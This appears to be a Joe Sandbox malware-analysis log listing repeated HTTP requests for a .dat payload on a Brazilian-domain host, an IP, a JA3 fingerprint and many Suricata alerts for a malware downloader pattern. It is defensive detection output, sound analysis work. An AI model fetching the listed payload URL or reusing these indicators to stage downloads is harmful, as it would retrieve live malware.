Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br
Source: global traffic	HTTP traffic detected: GET /PPI/Lhysknv.dat HTTP/1.1Host: www.vascocorretora.com.br

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49732 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49733 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49731 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49735 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49736 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49740 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49734 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49738 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49737 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49739 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49742 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49746 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49745 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49750 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49751 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49753 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49759 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49767 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49774 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49764 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49757 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49783 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49769 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49782 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49771 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49779 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49792 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49796 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49772 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49773 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49743 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49747 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49761 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49752 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49804 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49754 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49744 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49784 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49766 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49798 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49749 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49823 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49748 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49806 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49788 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49741 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49832 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49819 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49818 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49789 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49799 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49797 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49805 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49756 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49785 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49786 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49755 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49858 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49845 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49839 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49812 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49775 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49814 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49791 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49770 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49787 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49777 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49780 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49852 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49778 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49826 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49877 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49883 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49817 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49821 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49790 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49809 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49776 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49794 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49803 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49800 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49808 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49820 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49911 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49933 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49793 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49896 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49807 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49894 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49816 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49795 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49916 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49962 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49781 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49871 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49810 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49952 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49977 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49822 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49863 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49908 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49813 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50026 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49802 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49956 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49927 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50001 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49902 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49801 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49991 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49966 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49982 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50046 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49941 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49846 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49811 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49868 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49946 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49938 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50065 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50071 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50037 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49922 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50012 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49825 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49888 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49815 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50040 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49987 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50074 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50099 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50015 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50135 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50125 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50084 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50153 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50161 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50052 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50006 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50168 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50163 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49996 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50053 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50180 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50078 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50172 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50147 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50186 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50187 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50167 -> 188.114.96.3:443
